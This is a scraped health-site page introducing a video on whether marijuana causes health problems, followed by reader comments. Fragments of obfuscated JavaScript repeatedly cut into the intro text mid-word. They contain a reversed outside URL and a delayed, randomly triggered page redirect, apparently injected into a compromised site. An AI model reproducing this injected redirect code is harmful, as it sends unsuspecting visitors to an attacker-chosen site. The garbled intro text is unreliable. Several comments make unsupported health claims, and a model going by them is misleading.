Does Marijuana Cause Health Problems?

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Every year, cannabis is estimated toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to result in 2 million years of healthy life lost due toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to disability. How much is that compared toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to alcohol and toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tobacco?

Subscribe toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to NutritionFacts.org for free and receive a copy of the preface for Dr. Greger’s new book, How toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Survive a Pandemic:

If you’re interested in more, check out my two prequel videos The Institute of Medicine Report on the Health Effects of Marijuana ( and Researching the Health Effects of Marijuana ( and the last video, Is Marijuana Addictive? ( And if you really want toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to learn more, I made a whole DVD ( of cannabis research for those interested in a deep dive.

The cannabis issue reminds me of a similar clash of politics and commercial interests in the cell phone debate. If you’re interested, check out my videos Does Cell Phone Radiation Cause Cancer? ( and Cell Phone Brain Tumor Risk? (

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-Michael Greger, MD FACLM

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40 thoughts on “Does Marijuana Cause Health Problems?”

  1. Chimera says:

    It is faulty reasoning to compare the number of deaths from cannabis use to Viagra and imply that it is safer because less deaths can be attributed to cannabis. On the face of it, Viagra users are much more likely to be older than cannabis users and likely have more circulatory problems. It is comparing apples to oranges.

    It is hard to believe smoking any burning substance is not detrimental to one's delicate lungs in more than a minor way.

    The recent videos are not the same quality as in the past.

  2. Rahel T Rocca says:

    Thank you Doctor

  3. katie mills says:

    I'm healthy..I'm a vegan, 29, I do cardio and Pilates and yoga…I don't drink or smoke ciggs but I smoke cannabis four times a week, its part if my healthy lifestyle for my epilepsy

  4. Isaac Wolff says:

    All the butthurt Pot heads on here LOL, they want to keep doing those nasty drugs

  5. MaximeF's Tutorials says:

    You may not die from cannabis but you will increase your risk of having schizophrenia, which will totally ruin every aspects of your life.

  6. Daniel Matthews says:

    Here is your mystery solved, research (cannabis and dry mouth) AND (dry mouth and periodontal disease) AND (periodontal disease and cardiovascular disease).

  7. Alexis Xanders says:

    I really wish there was more data on the mental effects….NEED MORE DATA PLEASE 🙂

  8. L Coters says:

    I liked it until i got into my late 30's. Now it just messes with my sleep and makes me feel tired and old. So smoke it up while you're young,kiddos. The high isnt that great after you start getting old.

  9. Buddy Bradley says:

    Not a surprise, bad self destructive habit. Has impact on willpower too.

  10. GoddardsJournal says:

    Thanks for consistently examining comparative context.

    Cannabis fear-mongers religiously avoid risk context.

  11. GoddardsJournal says:

    What are the long-term health and economic outcomes of being arrested for marijuana?

    An implicit question is the efficacy of prohibition as a medical intervention.

  12. Gordan Wafchm says:

    sounds like Jeff Daniels

  13. Naturenerd1000 says:

    It's simple every person that smokes or vapes anything always will be coughing their lungs out. People that do this long term have throat problems and eventually will lead into more serious health effects. Also breathing in bad pollution of any kind for years and years is pretty much guaranteed to knock off 10+ years off your life and makes your chances of getting a heart attack a lot higher. That's why in polluted countries the average life span is 10-20 years less than the rest of the world.

  14. Altair IV says:

    Alzheimer's b4 and after CBD https://youtu.be/sb6g5-A1ljA

  15. identity Europa says:

    Its safer then most drugs, but that does not mean you should smoke a ton everyday

  16. Ana Militinovic says:

    The title of this video made my intelligence rapidly decrease

  17. Xymo Nau says:

    The one health hazard not mentioned was the high death rate of those forced to interact with dope smokers, and who die of boredom. Like drunks, dope smokers are just plain boring and tedious.

  18. Brodie Beaudry says:

    you hear his impression of a pot smoker from 0:40 to 0:41?…. tony the tiger called, he wants you to stop mocking his shitty cereal ads with bad voice acting….

  19. Kitty Victoria says:

    Ref: THE LANCET Issue 9904, 9-15 Nov 2013: "The key findings from estimates of other outcomes of illicit drug use were as follows: regular cannabis use made a VERY SMALL contribution to disease burden (approx 7000 DALYS globally). The highest estimated global burden was attributable to opioid dependence (9.2 million DALYS)." From the article cited in the video

  20. PeaceLoveAndRico says:

    Marijuana is great. Use it as a tool to expand your mind. Think every way possible. Your brain has the ability to utilize the same hardware without marijuana software afterwards; how great is that?!

  21. S Zee says:

    Its not marijuana that is the problem, it's Monsanto tainted marijuana. Gmo marijuana.

  22. Blu Crystl says:

    Over 40 years in hospital work cannot recall one instance of person being admitted for overdose of Marijuana or being admitted because of health issues related to quitting marijuana. With alcohol, the legal and more socially acceptable drug, the picture is COMPLETELY different. Alcohol is one of the most dangerous narcotic drugs on planet Earth. One of the most dangerous things an alcohol abuser can do is to quit cold turkey by himself. Even with the advanced medical techniques to help alcohol abusers deal with withdrawal it is often several days of serious issues before person is out of danger.
    Most human beings like to claim that they are 'rational'. Attitudes about marijuana and laws that have been on the books for decades tell a completely different story.
    Do I believe use of alcohol should be criminalized in the United States AGAIN ?
    Absolutely not. But penalties for drunken drivers are WAY, WAY, WAAAAAAAAY too lenient!!!
    I have had three family members killed by drunken drivers …. in three separate incidents.

  23. BAM BAM says:

    I was diagnosed with cannabis use disorder when it helped with my spasms and I mostly would smoke reg. Now that I've no other choice but to stop, CBD biofreeze cream has helped me with my pain enough to walk again. 🙂 Can't wait for it to be legal in KY. Maybe then I can drive again too.

  24. citi24 says:

    Eddibles baby

  25. Christian Martinez says:

    Everybody around me is always getting sick. I get high almost daily and very rarely get sick.

  26. Marla Jacques says:

    Known a lot of die hard pot heads over many years n they all have these similar traits. Self absorbed n only present when it's comfortable for them. Which is not very often.

  27. Brometheus says:

    I smoked on weekends in high school and college. Graduated and moved to Colorado, where I stopped drinking alcohol and started using pot recreationally every day. It’s been 4 or 5 years with no ill side effects on mentality, motivation, physical activity or cardio. I also don’t use it constantly. Probably twice around 8 and 9 o’clock at night, every night and it really helps with muscle soreness, and just getting to sleep. That being said, about sleep. I have noticed that when I stop using cannabis for maybe 2 or 3 weeks, I have vivid nightmares of primal shit, or like a dream where I get very very drunk and feel wasted in my dream, it’s so real. That is literally the 1 negative side effect I can think of with cannabis. It does effect your ability to REM sleep, thus when you stop smoking cannabis for 2-3 weeks you are basically catching up on your Rapid Eye Movement sleep.

  28. gang shit says:

    The smoke with fuck you up

  29. Joseph Dennison says:

    You got to stop watching Reeder Madness . It's only a propaganda movie.Really No one plays the piano faster and faster then jumps out the window .

  30. chica bien says:

    Short term memory loss

  31. Wise Owl Intuitive Services says:

    I found out the hard way he is correct about marajuana and gum disease!

  32. ILTstudent says:

    Viagra killed more people than weed, but they had a happier ending

  33. Soul smile says:

    What about the hundreds of millions of years of health GAINED by treating other mental and physical disabilities with cannabis?

  34. Roarshark12 says:

    @NutritionFacts.org:
    Have there been any studies on this the effect of inhaled cannabinoid oils on endothelial function? There's one fact-sheet on secondhand smoke describing a deleterious effect of particulate smoke matter on endothelial function here https://no-smoke.org/secondhand-marijuana-smoke-fact-sheet/, but is there anything about inhaled vaporized cannabinoid oils and how they impair endothelial function or promote atherosclerosis, in relation to dietary consumption of oil?

  35. uman Rosenberg says:

    indeed..pot is harmful, particularly psycho-social, but not as "bad" as alcohol or nicotine, cause there are many more causal users of marijuana than either alcohol or tobacco..these #s may change as marijuana becomes more readily available

  36. Roy Lingenfelter says:

    So what is the verdict?? I don't think it would shorten my life and I am surprised about the study's results. Was that chronic everyday use or just casual use? What psychiatric problems are associated with it?

  37. David S says:

    I keep hearing Mr. Hand from South Park in my head.

  38. Vsevolod Avilkin says:

    so the main problems are here: 5:05

  39. jo bloggs says:

    so you have got to look this hard to find inconclusive results? and no one jumps off of a balcony from eating cookies they are more likely to be more nervous about getting too close to the edge .

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